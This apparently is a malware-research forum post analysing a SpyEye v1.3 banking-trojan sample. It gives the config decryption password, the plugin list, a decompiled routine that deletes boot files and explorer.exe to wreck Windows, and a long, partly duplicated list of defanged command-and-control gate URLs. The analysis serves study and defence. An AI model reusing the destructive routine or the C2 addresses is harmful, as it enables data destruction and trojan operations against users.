cronos713 wrote:Hi EP_X0FF, thank you very much for the information. I attach a sample with your .bin file. Can you check it this files?
Thanks!
SpyEye v1.3
Pass for decrypted config: B8861AB9ED87B79CC01DA26263373342
Plugins:
Socks5
Firefox Certificates Grabber
Custom Connector
And something trying to trash OS.
Code: Select allsigned int __cdecl Start()
{
unsigned int v0;
const CHAR *v1;
LPCSTR lpExistingFileName;
int v4;
int v5;
int v6;
int v7;
int v8;
lpExistingFileName = "c:\\ntldr";
v4 = (int)"c:\\ntdetect.com";
v5 = (int)"c:\\bootmgr";
v6 = (int)"c:\\loadmgr";
v7 = (int)"c:\\windows\\explorer.exe";
v8 = (int)"c:\\osloader.exe";
v0 = 0;
do
{
v1 = (&lpExistingFileName)[4 * v0];
SetFileAttributesA((&lpExistingFileName)[4 * v0], 0x80u);
DeleteFileA(v1);
MoveFileExA(v1, "c:\\boots", 4u);
++v0;
}
while ( v0 < 6 );
return 1;
}
An surprise? Quite primitive.
Gates:
hxxp://fas41245.com/rwq/gate.php;300
hxxp://f53151245.com/wew/gate.php;300
hxxp://a2535245.com/dsf/gate.php;300
hxxp://fc5623245.com/qwewqe/gate.php;300
hxxp://bdfdg2d.com/qtqwr/gate.php;300
hxxp://5321rdc.com/wqeq/gate.php;300
hxxp://asdaqr15.com/12er/gate.php;300
hxxp://fdgdfg233.com/qwrg/gate.php;300
hxxp://12412edaa.com/sadg/gate.php;300
hxxp://263rdasd.com/hfgf/gate.php;300
hxxp://634rfeds.com/fdgg/gate.php;300
hxxp://351rewad.com/gfdg/gate.php;300
hxxp://63fsdfas.com/ret/gate.php;300
hxxp://1241wdads.com/hdfh/gate.php;300
hxxp://21ewfsdaf.com/ytrr/gate.php;300
hxxp://qxxew2444.com/tret/gate.php;300
hxxp://124ffsaf.com/sadg/gate.php;300
hxxp://gasgasd.com/hfgf/gate.php;300
hxxp://gsagas25s.com/fdgg/gate.php;300
hxxp://3gqe5235d.com/gfdg/gate.php;300
hxxp://623t3fsd.com/ret/gate.php;300
hxxp://12235rfs.com/hdfh/gate.php;300
hxxp://21ew325fsa.com/ytrr/gate.php;300
hxxp://qxx32523rfs.com/tret/gate.php;300
hxxp://124125rfa.com/sadg/gate.php;300
hxxp://26325rf5.com/hfgf/gate.php;300
hxxp://63432rfg.com/fdgg/gate.php;300
hxxp://35325r3fgsd.com/gfdg/gate.php;300
hxxp://63f523rf.com/ret/gate.php;300
hxxp://1245232fs.com/hdfh/gate.php;300
hxxp://21253fss.com/ytrr/gate.php;300
hxxp://qxxe2353rfs.com/tret/gate.php;300
hxxp://15325rfse.com/sadg/gate.php;300
hxxp://35tfsgsdasd.com/hfgf/gate.php;300
hxxp://6325rfaseds.com/fdgg/gate.php;300
hxxp://332rfaswad.com/gfdg/gate.php;300
hxxp://63523rfasfas.com/ret/gate.php;300
hxxp://132532rfs.com/hdfh/gate.php;300
hxxp://21235fsaf.com/ytrr/gate.php;300
hxxp://325fs444.com/tret/gate.php;300
hxxp://124sdgs32.com/sadg/gate.php;300
hxxp://26325rfsd.com/hfgf/gate.php;300
hxxp://634sdgsd523s.com/fdgg/gate.php;300
hxxp://351r235fsef.com/gfdg/gate.php;300
hxxp://63fgsdt25.com/ret/gate.php;300
hxxp://124235rfs.com/1/gate.php;300
hxxp://21e23rfsdfsd.com/2/gate.php;300
hxxp://qx235rfs4.com/1/gate.php;300
hxxp://a2535245.com/dsf/gate.php;300
hxxp://fc5623245.com/qwewqe/gate.php;300
hxxp://bdfdg2d.com/qtqwr/gate.php;300
hxxp://5321rdc.com/wqeq/gate.php;300
hxxp://asdaqr15.com/12er/gate.php;300
hxxp://fdgdfg233.com/qwrg/gate.php;300
hxxp://12412edaa.com/sadg/gate.php;300
hxxp://263rdasd.com/hfgf/gate.php;300
hxxp://634rfeds.com/fdgg/gate.php;300
hxxp://351rewad.com/gfdg/gate.php;300
hxxp://f53151245.com/wew/gate.php;300
hxxp://63fsdfas.com/ret/gate.php;300
hxxp://1241wdads.com/hdfh/gate.php;300
hxxp://21ewfsdaf.com/ytrr/gate.php;300
hxxp://qxxew2444.com/tret/gate.php;300
hxxp://124ffsaf.com/sadg/gate.php;300
hxxp://gasgasd.com/hfgf/gate.php;300
hxxp://gsagas25s.com/fdgg/gate.php;300
hxxp://3gqe5235d.com/gfdg/gate.php;300
hxxp://623t3fsd.com/ret/gate.php;300
hxxp://12235rfs.com/hdfh/gate.php;300
hxxp://21ew325fsa.com/ytrr/gate.php;300
hxxp://qxx32523rfs.com/tret/gate.php;300
hxxp://124125rfa.com/sadg/gate.php;300
hxxp://26325rf5.com/hfgf/gate.php;300
hxxp://63432rfg.com/fdgg/gate.php;300
hxxp://35325r3fgsd.com/gfdg/gate.php;300
hxxp://63f523rf.com/ret/gate.php;300
hxxp://1245232fs.com/hdfh/gate.php;300
hxxp://21253fss.com/ytrr/gate.php;300
hxxp://qxxe2353rfs.com/tret/gate.php;300
hxxp://15325rfse.com/sadg/gate.php;300
hxxp://35tfsgsdasd.com/hfgf/gate.php;300
hxxp://6325rfaseds.com/fdgg/gate.php;300
hxxp://332rfaswad.com/gfdg/gate.php;300
hxxp://63523rfasfas.com/ret/gate.php;300
hxxp://132532rfs.com/hdfh/gate.php;300
hxxp://21235fsaf.com/ytrr/gate.php;300
hxxp://325fs444.com/tret/gate.php;300
hxxp://124sdgs32.com/sadg/gate.php;300
hxxp://26325rfsd.com/hfgf/gate.php;300
hxxp://634sdgsd523s.com/fdgg/gate.php;300
hxxp://351r235fsef.com/gfdg/gate.php;300
hxxp://63fgsdt25.com/ret/gate.php;300
hxxp://124235rfs.com/1/gate.php;300
hxxp://21e23rfsdfsd.com/2/gate.php;300
hxxp://qx235rfs4.com/1/gate.php;300
Unpacked dropper and decrypted config in attach.
